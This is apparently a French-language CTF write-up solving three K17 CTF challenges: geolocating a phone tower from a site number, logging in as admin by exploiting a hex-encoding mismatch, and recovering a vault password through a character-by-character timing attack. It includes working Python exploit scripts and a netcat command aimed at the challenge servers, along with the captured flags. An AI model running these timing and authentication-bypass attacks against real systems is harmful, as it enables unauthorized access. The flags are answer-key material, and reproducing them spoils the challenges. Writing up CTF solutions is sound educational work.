Catégorie: OSINT
Points: 317
Where is this tower located?
Format du flag: K17{lat,lon} avec coordonnées arrondies à 3 décimales
En zoomant sur la pancarte, on découvre la mention :
NSA Site Number: 2154?06
Un chiffre est masqué par la grille. Le numéro complet est 2154006.
Le panneau indique un site web australien : www.rfnsa.com.au
En recherchant le numéro 2154006, on trouve :
Arrondissement à 3 décimales :
Flag: K17{-33.717,150.987}
Catégorie: Crypto
Points: 200
Se connecter en admin pour afficher le flag.
Le serveur présente une vulnérabilité due à une incohérence de format entre l'inscription et la connexion :
# À l'inscription : password = "admin" stored = (password).encode().hex() # "61646d696e" # À la connexion : input = "3631363436643639366e" check = bytes.fromhex(input) # doit donner b"61646d696e"
Cette incohérence crée une confusion entre :
Pour se connecter en admin, il faut fournir l'hex de la chaîne "61646d696e" :
b"61646d696e".hex() = 3631363436643639366e
$ nc challenge.secso.cc 7002 2 Login: admin Password: 3631363436643639366e
L'exploit fonctionne car :
salt || "61646d696e" (texte)b"61646d696e"Toujours transformer le mot de passe de la même façon à l'inscription et à la connexion (pas de mélange texte/hex).
Version minimale :
import socket, re
HOST, PORT = "challenge.secso.cc", 7002
pwd = "3631363436643639366e"
s = socket.create_connection((HOST,PORT))
s.recv(4096); s.sendall(b"2\n")
s.recv(4096); s.sendall(b"admin\n")
s.recv(4096); s.sendall((pwd+"\n").encode())
out = s.recv(4096).decode()
print(out)
m = re.search(r"K17CTF\{[^}]+\}", out)
if m: print("[FLAG]", m.group(0))
Version complète avec gestion des erreurs :
#!/usr/bin/env python3
import socket, time, sys, re
HOST = "challenge.secso.cc"
PORT = 7002
# calcule le "double-hex" demandé par la logique du chall
# admin -> "admin".encode().hex() = "61646d696e"
# password à taper = bytes("61646d696e","ascii").hex() = "3631363436643639366e"
def double_hex(s: str) -> str:
return bytes(s.encode().hex(), "ascii").hex()
ADMIN_DHEX = double_hex("admin") # "3631363436643639366e"
def recv_all_until(sock, needles=(b"(1, 2, 3)>", b"flag", b"Flag", b"Congratulations", b"Invalid"), timeout=2.0):
sock.settimeout(timeout)
buf = b""
t0 = time.time()
while time.time() - t0 < timeout:
try:
chunk = sock.recv(4096)
if not chunk:
break
buf += chunk
if any(n in buf for n in needles):
break
except socket.timeout:
break
return buf
def try_admin_once(verbose=True):
s = socket.create_connection((HOST, PORT), timeout=5)
# avale la bannière jusqu'à l'invite
_ = recv_all_until(s, timeout=2.0)
s.sendall(b"2\n")
_ = recv_all_until(s, needles=(b"Login:",), timeout=1.0)
s.sendall(b"admin\n")
_ = recv_all_until(s, needles=(b"Password:",), timeout=1.0)
s.sendall((ADMIN_DHEX + "\n").encode())
resp = recv_all_until(s, timeout=2.0).decode(errors="ignore")
s.close()
if verbose:
last_lines = "\n".join(resp.splitlines()[-10:])
print("[server tail]")
print(last_lines)
if re.search(r"flag|Flag|Congratulations", resp):
m = re.search(r"(K17\{[^}]+\}|flag\{[^}]+\}|secso\{[^}]+\})", resp)
if m:
print(f"FLAG: ")
else:
print("Succès")
return True
if "Invalid" in resp:
return False
return False
def main():
print(f"Target: {HOST}:{PORT}")
print(f"Using admin double-hex password: {ADMIN_DHEX}")
max_tries = 12
for i in range(1, max_tries+1):
print(f"\n[=] Attempt {i}/{max_tries}")
try:
ok = try_admin_once(verbose=(i == 1 or i % 3 == 0))
if ok:
print("[+] Done.")
return
except Exception as e:
print(f"[!] Attempt {i} error: {e}")
time.sleep(0.3)
print("No luck after multiple attempts ")
print(" Relance le script ")
if __name__ == "__main__":
main()
Flag: K17CTF{s4Lt_4nD_p3pper_is_ov3rr4t3d}
Catégorie: Web
Points: 250
Trouvez le mot de passe du vault en exploitant une vulnérabilité de timing.
Le serveur présente une vulnérabilité de timing attack :
L'attaque fonctionne car le serveur vérifie le mot de passe caractère par caractère :
# Exemple de progression des délais : H -> 200ms (bon premier caractère) Ha -> 230ms (bon deuxième caractère) Hac -> 260ms (bon troisième caractère) Hack -> 290ms (mot complet correct)
import requests, string
url = "https://vault.secso.cc/"
charset = string.ascii_letters + string.digits + "{}_"
known = ""
while True:
best_char, best_time = None, -1
for c in charset:
test = known + c
r = requests.get(url, params={"password": test})
text = r.text
try:
t = float(text.split("Response time:")[1].split("ms")[0].strip())
except:
t = 0.0
if t > best_time:
best_char, best_time = c, t
if best_time <= 0:
break
known += best_char
print("[+] Found so far:", known)
On peut aussi utiliser Burp Intruder pour visualiser les différences de timing :